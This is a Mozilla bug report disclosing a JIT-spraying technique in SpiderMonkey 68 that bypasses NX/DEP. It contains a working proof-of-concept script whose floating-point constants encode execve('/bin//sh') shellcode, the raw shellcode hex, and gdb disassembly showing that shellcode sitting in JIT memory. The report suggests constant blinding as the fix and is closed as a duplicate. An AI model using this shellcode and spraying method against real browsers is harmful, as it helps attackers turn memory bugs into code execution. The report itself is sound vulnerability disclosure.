Closed Bug 1575601 Opened 6 years ago Closed 6 years ago

bypass NX/DEP using JIT compiler

Categories

(Core :: JavaScript Engine: JIT, defect)

68 Branch
defect
Not set
normal

Tracking

()

RESOLVED DUPLICATE of bug 1376819

People

(Reporter: slei.casper, Unassigned)

Details

User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36

Steps to reproduce:

  1. compile spidermonkey 68 in linux
  2. running following poc.js using gdb

var gi;
function f(){
//force jit
for (let v15 = 0; v15 < 0xeeeff; v15++) {}
//shellcode 6a3b58995248bb2f2f62696e2f736853545f5257545e0f05
gi = 9.203763987562782e-79;
gi = 6.375092797421955e+93;
gi = 2.6368626227639178e-284;
Math.atan2(0x233);
}
for (let v31 = 0; v31 < 1000; v31++) {
f();
}
readline();
f();
3. when executing readline, add breakpoint at js::math_atan2, then continue execution until we hit the breakpoint.

Actual results:

using gdb's bt command dump stack frames

gdb-peda$ bt
#0  js::math_atan2 (cx=0x7ffff5f16000, argc=0x1, vp=0x7fffffffb9c8)
    at /mnt/main/sourcecodes/firefox/firefox-68.0/js/src/jsmath.cpp:175
#1  0x00003e6d3cba66a1 in ?? ()
#2  0x087f8b4800000006 in ?? ()
#3  0x00007fffffffb9a8 in ?? ()
#4  0x0000000000000040 in ?? ()
#5  0x0000000000000000 in ?? ()

frame #1 is jited code and we using command x/50i 0x00003e6d3cba66a1-0x180 like this to disassemble jited code.

   0x3e6d3cba6521:	push   rcx
   0x3e6d3cba6522:	add    BYTE PTR [rax],al
   0x3e6d3cba6524:	add    BYTE PTR [rax-0x7d],cl
   0x3e6d3cba6527:	in     al,dx
   0x3e6d3cba6528:	and    BYTE PTR [rax-0x46],cl
   0x3e6d3cba652b:	add    BYTE PTR [rax],al
   0x3e6d3cba652d:	add    BYTE PTR [rax],al
   0x3e6d3cba652f:	add    BYTE PTR [rax+0x41f7fff9],al
   0x3e6d3cba6535:	call   0x3e6d3cba653b
   0x3e6d3cba653a:	je     0x3e6d3cba6544
   0x3e6d3cba6540:	mov    rdx,QWORD PTR [rcx-0x10]
   0x3e6d3cba6544:	mov    rbx,QWORD PTR [rcx-0x50]
   0x3e6d3cba6548:	mov    rax,QWORD PTR [rsp+0x40]
   0x3e6d3cba654d:	mov    rcx,rax
   0x3e6d3cba6550:	shr    rcx,0x2f
   0x3e6d3cba6554:	cmp    ecx,0x1fff3
   0x3e6d3cba655a:	jne    0x3e6d3cba66f1
   0x3e6d3cba6560:	mov    r11,rbx
   0x3e6d3cba6563:	shr    r11,0x2f
   0x3e6d3cba6567:	cmp    r11d,0x1fff1
   0x3e6d3cba656e:	jne    0x3e6d3cba66f8
   0x3e6d3cba6574:	mov    eax,ebx
   0x3e6d3cba6576:	mov    rcx,rdx
   0x3e6d3cba6579:	movabs r11,0x7ffff5f167d4
   0x3e6d3cba6583:	cmp    DWORD PTR [r11],0x0
   0x3e6d3cba6587:	jne    0x3e6d3cba66ff
   0x3e6d3cba658d:	cmp    eax,0xeeeff
   0x3e6d3cba6592:	jge    0x3e6d3cba659d
   0x3e6d3cba6598:	add    eax,0x1
   0x3e6d3cba659b:	jmp    0x3e6d3cba6579
   0x3e6d3cba659d:	mov    DWORD PTR [rsp+0x14],eax
   0x3e6d3cba65a1:	mov    QWORD PTR [rsp+0x18],rcx
   0x3e6d3cba65a6:	movsd  xmm0,QWORD PTR [rip+0x1ba]        # 0x3e6d3cba6768    <== this is the place where shellcode placed
   0x3e6d3cba65ae:	movabs rax,0xe9298577060
   0x3e6d3cba65b8:	mov    rax,QWORD PTR [rax+0x10]
   0x3e6d3cba65bc:	movsd  QWORD PTR [rax+0xcf8],xmm0
   0x3e6d3cba65c4:	movsd  xmm0,QWORD PTR [rip+0x1a4]        # 0x3e6d3cba6770
   0x3e6d3cba65cc:	movsd  QWORD PTR [rax+0xcf8],xmm0
   0x3e6d3cba65d4:	movsd  xmm0,QWORD PTR [rip+0x19c]        # 0x3e6d3cba6778
   0x3e6d3cba65dc:	movsd  QWORD PTR [rax+0xcf8],xmm0
   0x3e6d3cba65e4:	movabs rcx,0xe9298578040
   0x3e6d3cba65ee:	movabs rdx,0x7ffff58748b0
   0x3e6d3cba65f8:	jmp    QWORD PTR [rdx]
   0x3e6d3cba65fa:	mov    r11,rax

and we can dumping the content at 0x3e6d3cba6768, using command x/15i 0x3e6d3cba6768 and x/10gx 0x3e6d3cba6768

gdb-peda$ x/15i 0x3e6d3cba6768
   0x3e6d3cba6768:	push   0x3b
   0x3e6d3cba676a:	pop    rax
   0x3e6d3cba676b:	cdq
   0x3e6d3cba676c:	push   rdx
   0x3e6d3cba676d:	movabs rbx,0x68732f6e69622f2f
   0x3e6d3cba6777:	push   rbx
   0x3e6d3cba6778:	push   rsp
   0x3e6d3cba6779:	pop    rdi
   0x3e6d3cba677a:	push   rdx
   0x3e6d3cba677b:	push   rdi
   0x3e6d3cba677c:	push   rsp
   0x3e6d3cba677d:	pop    rsi
   0x3e6d3cba677e:	syscall
   0x3e6d3cba6780:	jmp    QWORD PTR [rip+0x2]        # 0x3e6d3cba6788
   0x3e6d3cba6786:	ud2
gdb-peda$ x/10gx 0x3e6d3cba6768
0x3e6d3cba6768:	0x2fbb485299583b6a	0x5368732f6e69622f
0x3e6d3cba6778:	0x050f5e5457525f54	0x0b0f0000000225ff
0x3e6d3cba6788:	0x0000555555f8dd10	0x0b0f0000000225ff
0x3e6d3cba6798:	0x0000000000000000	0x0b0f0000000225ff
0x3e6d3cba67a8:	0x0000000000000000	0x0b0f0000000225ff

As you can see, once we have a vulnerability which can hijack RIP, we can set RIP to JITED code without using code reuse technique like ROP. So this can be used to bypass NX mitigation on Linux or DEP on Windows.

Expected results:

JIT compiler should add constant blinding technique to prevent such attacks, such as xor with a random number.

Group: firefox-core-security → javascript-core-security
Component: Untriaged → JavaScript Engine: JIT
Product: Firefox → Core

Thanks for opening this issue, this is a valid issue. However, this is a known issue and I invite you to read the discussion from Bug 1376819, which is investigating the implementation of constant blinding in Firefox.

Group: javascript-core-security
Status: UNCONFIRMED → RESOLVED
Closed: 6 years ago
Resolution: --- → DUPLICATE
You need to log in before you can comment on or make changes to this bug.